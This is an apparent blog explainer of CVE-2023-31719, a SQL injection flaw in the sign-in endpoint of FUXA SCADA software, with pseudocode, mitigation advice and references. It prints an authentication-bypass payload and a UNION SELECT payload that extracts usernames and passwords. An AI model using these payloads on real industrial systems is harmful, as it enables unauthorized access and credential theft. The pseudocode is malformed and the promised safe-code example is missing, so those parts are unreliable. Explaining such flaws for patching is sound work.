*Published: June 2024*


FUXA, an open-source web-based SCADA automation software, allows users to manage their industrial environments. However, versions up to and including 1.1.12 have a critical security hole (CVE-2023-31719) that lets attackers perform SQL injection through the /api/signin endpoint. In this article, we’ll walk you through what CVE-2023-31719 is, how it can be exploited, and how to protect yourself—using clear, simple language.

What is CVE-2023-31719?

CVE-2023-31719 is an identifier for a vulnerability found in FUXA where the application fails to properly sanitize user-supplied input before using it in SQL queries, specifically when handling sign-in requests. This opens the door to SQL injection attacks, where an attacker could hijack database queries—stealing data, changing information, or worse.

- Software: FUXA (https://github.com/frangoteam/FUXA)

Affected Versions: All versions ≤ 1.1.12

- Endpoint: /api/signin

How Does the Vulnerability Work?

When you log in through FUXA’s web interface, your username and password are sent to the /api/signin route. If the software takes those values and inserts them straight into an SQL query *without* properly checking or cleaning them, it’s possible for an attacker to sneak in crafted SQL code.

A simplified demonstration

// Simplified pseudocode for demonstration
let username = req.body.username;
let password = req.body.password;
let sql = SELECT * FROM users WHERE username = '${username}' AND password = '${password}';
db.query(sql, function(err, result) {
    // login logic
});

Notice how the username and password from the request—anything the user types—become part of the SQL command. That's the flaw.

If you enter something tricky as your username, you can interfere with the query FUXA is running—this is what *SQL injection* means.

Exploiting the Vulnerability

Let’s see how an attacker might abuse this flaw.

Request

POST /api/signin
{
  "username": "' OR 1=1 --",
  "password": "anything"
}

-- is a SQL comment, making the rest ignored.

- 1=1 always evaluates true, so the attacker logs in without a real username/password.

By injecting something like

{
  "username": "' UNION SELECT username, password FROM users--",
  "password": "random"
}

The attacker could get a list of usernames and passwords.

Step 3: (Advanced) Other SQL Injection Payloads

With advanced payloads, attackers can chain SQL commands, read from the system, or even write malicious files if database permissions are misconfigured.

References

- Original GitHub Issue / Disclosure
- NVD CVE Detail
- Exploit-DB Reference
- OWASP: SQL Injection Explained

Mitigation: How to Fix or Protect Your FUXA Instances

1. Upgrade ASAP: The FUXA team patched this issue in version 1.1.13 (release notes).
2. Firewall: Restrict access to /api/signin endpoint from outside your organization.
3. Input Sanitization: Ensure your code uses parameterized queries or ORM layers that auto-escape user input. For example:

`js

// Using parameterized queries

Conclusion

CVE-2023-31719 is a serious vulnerability in FUXA that could let attackers take control of your SCADA system. Exploiting it is shockingly easy—so patch or upgrade NOW if you haven’t already.

*Stay safe, keep your software up-to-date, and always watch out for unexpected input in your code. If you're running an older version of FUXA, upgrade to at least 1.1.13 immediately.*


If you found this helpful, consider reading more about web security and protecting your automation infrastructure. The world of industrial IoT is fast-moving and attackers are always looking for open doors, so don’t leave yours unlocked.

- FUXA Official GitHub
- Download Latest Version
- National Vulnerability Database: CVE-2023-31719

Timeline

Published on: 09/22/2023 00:15:00 UTC
Last modified on: 09/25/2023 16:44:00 UTC